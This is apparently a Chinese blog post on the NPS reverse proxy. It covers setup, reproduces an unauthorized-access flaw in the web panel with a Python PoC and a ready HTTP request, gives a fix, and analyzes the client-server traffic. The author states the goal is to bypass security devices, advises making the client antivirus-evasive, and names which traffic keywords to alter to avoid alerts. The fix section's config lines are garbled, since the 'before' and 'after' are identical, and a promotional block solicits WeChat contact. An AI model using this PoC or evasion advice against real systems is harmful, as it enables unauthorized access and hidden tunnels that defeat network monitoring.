前言

因为想要写一个socks的流量算法去绕过安全设备,所以这里对nps的流量特征总结一下,方便自己后期的魔改。

环境

ubuntu 16.04 vps server

windows server 2012R2 clinet

mkdir nps
cd nps
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
tar -zxvf linux_amd64_server.tar.gz
./nps install

cd /etc/nps/conf/
vim nps.conf

配置文件

#web
web_host=a.o.com
web_username=xxxx    //管理端用户名
web_password=xxxxxx  //管理端密码
web_port = xxxxx     //管理端端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
#web_base_url=/nps

##bridge
bridge_type=tcp   //客户端连接协议tcp
bridge_port=xxxx  //客户端连接端口
bridge_ip=0.0.0.0

bridge_port的默认端口默认为8024,这里不建议改为默认的,连接客户端的时候可能会触发安全设备规则

NPS未授权复现

POC

#encoding=utf-8
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()print("Index/Index?auth_key=%s&timestamp=%s" % (auth_key,int(now))

直接访问

http://vps:port?payload

exp请求接口

POST /client/list HTTP/1.1
Host: vps:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://vps:port
Connection: close
Referer: http://vps:port/client/listsearch=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4&timestamp=1659948547

参考链接:

https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA

修复措施

vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key`注释

auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN

修改为

auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN

目前最新版本的也存在改配置不当问题,这里需要修改配置,修复之后是无法通过未授权读取内容信息的。

【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC漏洞分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

socks流量分析

nps start

访问http://vps:port/login

新增客户端

这里用户名和密码随意,这里是客户端登录的认证用户名,在客户端连接的时候是根据密钥来实现的。

客户端选择windwos server 2012R2

修改客户端配置文件

[common]
server_addr=vps:port
conn_type=tcp
vkey=xxxx
auto_reconnection=true
max_conn=1000
flow_limit=1000
rate_limit=1000
basic_username=11
basic_password=3
web_username=xxxx
web_password=xxxxx
crypt=true
compress=true
#pprof_addr=0.0.0.0:9999
disconnect_timeout=60

客户端启动

npc.exe -server=vps:port -vkey=xxxxx -type=tcp

正常情况下会报毒,所以这里针对杀软这一块儿,客户端需要做一下免杀处理。

查看连接状态

使用goby测试socks5

测试代理

已成功实现内网穿透。

这里使用wireshark抓取流量包,

初始流量服务器向客户端发送TST

同时客户端向服务端确认版本,同时返回客户端版本0.26.0

代码位置nps/lib/version/version.go

服务端接收到请求后,客户端请求的数据内容为nps的版本为0.26.10

服务端接收到请求后返回给客户端服务端版本的md5值,即

md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e

可以发现在产生nps客户端连接的时候,会产生数据校验,这里数据校验就是有服务器到

这是客户端传输给服务端密钥连接

md5(vkey)

服务端在接收到客户端的请求后校验数据后返回success

这里客户端和服务端的连接流量就比较清晰了,那么想要bypass安全设备的告警,在修改加密方式和修改版本关键字即可,因为在做流量隐藏的时候跟bypassav不一样,不会考虑文件的哈希以及文件在沙箱中的落地状态。

NPS之Socks流量分析以及未授权复现相关推荐

  1. 【漏洞复现】绿盟BAS日志数据安全性分析系统未授权访问

    0x00 FOFA语句 body="WebApi/encrypt/js-sha1/build/sha1.min.js" 0x01 未授权访问漏洞利用 https://xxx.com ...

  2. NPS反向代理流量分析

    目录 0x01 声明: 0x02 简介: 0x03 环境搭建: 软件下载: 使用文档: 服务端配置: 客户端配置: 结果: 0x04 流量分析: NPS连接成功流量: NPS连接流量: NPS连接流量 ...

  3. 常用的30+种未授权访问漏洞汇总

    未授权访问漏洞汇总预览 1 .FTP 未授权访问(21) 2 .LDAP 未授权访问(389) 3 .Rsync 未授权访问(873) 4 .ZooKeeper 未授权访问(2181) 5 .Dock ...

  4. CVE-2020-11945 Squid未授权整数溢出分析

     聚焦源代码安全,网罗国内外最新资讯! Squid cache(简称为Squid)是一个流行的自由软件(GNU通用公共许可证)的代理服务器和Web缓存服务器.Squid 的用途很多,可以作为网页服务器 ...

  5. cve-2019-11076 Cribl UI 1.5.0 未授权命令执行漏洞分析

    Cribl是一款日志分析工具.Cribl UI是其中的一个用户界面. Cribl UI 1.5.0版本中存在安全漏洞.远程攻击者可借助未认证的Web请求利用该漏洞运行任意命令. 前言 前几天瞎逛 Gi ...

  6. Hadoop Yarn REST API未授权漏洞利用挖矿分析

    目录 一.背景情况 二. 漏洞说明 攻击步骤: 三.入侵分析 四.安全建议 清理病毒 安全加固 五.IOCs 一.背景情况  5月5日腾讯云安全曾针对攻击者利用Hadoop Yarn资源管理系统RES ...

  7. 安全扫描失败无法上传_Apache Solr 未授权上传(RCE)漏洞的原理分析与验证

    漏洞简介 Apache Solr 发布公告,旧版本的ConfigSet API 中存在未授权上传漏洞风险,被利用可能导致 RCE (远程代码执行). 受影响的版本: Apache Solr6.6.0 ...

  8. Apache Solr 未授权上传(RCE)漏洞(CVE-2020-13957)的原理分析与验证

     聚焦源代码安全,网罗国内外最新资讯! 01 漏洞简介 Apache Solr 发布公告,旧版本的ConfigSet API 中存在未授权上传漏洞风险,被利用可能导致 RCE (远程代码执行). 受影 ...

  9. 宝塔php漏洞,宝塔面板 phpmyadmin 未授权访问漏洞 BUG ip:888/pma的问题分析

    前言 2020 年 8 月 23 日的晚上 群里突然有个管理员艾特全体 说宝塔出漏洞了! 赶紧更新吧. 漏洞信息 宝塔 Linux 面板 7.4.2 版本和 Windows 面板 6.8 版本存在 p ...

  10. Nette框架未授权任意代码执行漏洞分析

    Nette框架未授权任意代码执行漏洞分析 漏洞介绍: Nette Framework 是个强大,基于组件的事件驱动 PHP 框架,用来创建 web 应用.Nette Framework 是个现代化风格 ...

最新文章

  1. 让静态对象来维护你的数据
  2. java 正序a~z_Flutter MapString, dynamic 、ListString a-z 排序
  3. KNN识别手写体数字
  4. Phaser都不懂,还学什么多线程
  5. STM32的优先级NVIC_PriorityGroupConfig的理解及其使用(转)
  6. TensorFlow2.0(一)--简介与环境搭建
  7. jquery操作select选项
  8. 基于Spring Security的认证授权_认证原理_授权流程_Spring Security OAuth2.0认证授权---springcloud工作笔记126
  9. TYVJ1467 通往聚会的道路
  10. OpenCV图像处理(4)——去除小面积
  11. java小程序实例大全_12个用Java编写基础小程序经典案例(收藏)
  12. pycharm汉化包下载是某度网盘再现江湖?!不存在的!!真相就是如此简单~
  13. python中的auto_ml自动机器学习框架学习实践
  14. 橙旗贷受邀参加浦东企联举行的迎新年书法笔会
  15. CentOS 使用二进制部署 Kubernetes 1.13集群
  16. 任务栏WPS出现多窗口预览?下载这个注册表就对了
  17. js实现任意节日倒计时html
  18. JVM--Java堆外内存--使用/作用
  19. 机器学习问与答(二):线性学习
  20. 网易七鱼客服对接记录以及Vue项目里使用

热门文章

  1. 【ADNI】基本概念整理
  2. js传参中文格式不对乱码
  3. 如何利用python中的pandas模块计算环比和同比
  4. 计算机2.0培训心得,信息技术应用能力提升培训心得体会两篇
  5. 《高效能人士的7个习惯》PDF,复习笔记(上)
  6. 七个习惯之一:积极主动
  7. 流程图怎么画?绘制一个流程图的简单操作方法
  8. shell脚本下的教你如果运用for,while,unti循环,以及区别l
  9. 如何看懂计算机英文文档,如何看英文技术文档
  10. java实验——设计圆柱体类和圆锥体类,继承圆类Circle并实现Volume接口,计算体积。